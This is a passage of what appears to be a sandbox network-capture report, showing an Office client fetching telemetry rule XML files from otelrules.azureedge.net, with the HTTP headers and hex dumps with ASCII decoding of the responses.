2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49833	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:52 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:52 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:52 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: c9f5e5fc-201e-0071-5dfe-16ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112652Z-1657d5bbd48vlsxxpe15ac3q7n000000039g00000000dp5q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:52 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49834	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:53 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:53 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:53 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 3e7839e3-701e-0053-5cff-163a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112653Z-1657d5bbd48t66tjar5xuq22r800000003fg000000001mn7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:53 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49835	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:53 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:53 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:53 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: c7b470af-b01e-005c-24fe-164c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112653Z-1657d5bbd48dfrdj7px744zp8s000000037g000000003kdr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:53 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49836	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:53 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:53 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:53 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: dfa7567c-f01e-003f-67de-16d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112653Z-1657d5bbd48tqvfc1ysmtbdrg000000003cg0000000001tg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:53 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49837	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:53 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:53 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:53 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 20e89b60-501e-008c-3a03-17cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112653Z-1657d5bbd487nf59mzf5b3gk8n00000002xg00000000fwbt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:53 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49838	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:54 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:54 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:54 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 838d7376-001e-0014-17fe-165151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112654Z-1657d5bbd48brl8we3nu8cxwgn00000003sg000000005uk5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:54 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49839	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:54 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:54 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:54 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 7d18055e-701e-0098-56ff-16395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112654Z-1657d5bbd4824mj9d6vp65b6n400000003m000000000a293 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:54 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49840	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:54 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:54 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:54 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: b1fbfe33-a01e-003d-4fd4-1698d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112654Z-1657d5bbd487nf59mzf5b3gk8n000000030g000000009tq1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:54 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49827	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:54 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:54 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:54 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 4d8e59a4-701e-0021-64fe-163d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112654Z-1657d5bbd48qjg85buwfdynm5w00000003hg000000005h3n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:54 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49841	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:54 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:54 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:54 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 770fdf22-501e-0035-0d02-17c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112654Z-1657d5bbd48762wn1qw4s5sd30000000037g00000000bpt7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:54 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49842	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:54 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:54 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:54 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 4543d13f-701e-0050-5a04-176767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112654Z-1657d5bbd482lxwq1dp2t1zwkc0000000380000000002917 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:54 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49844	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:54 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
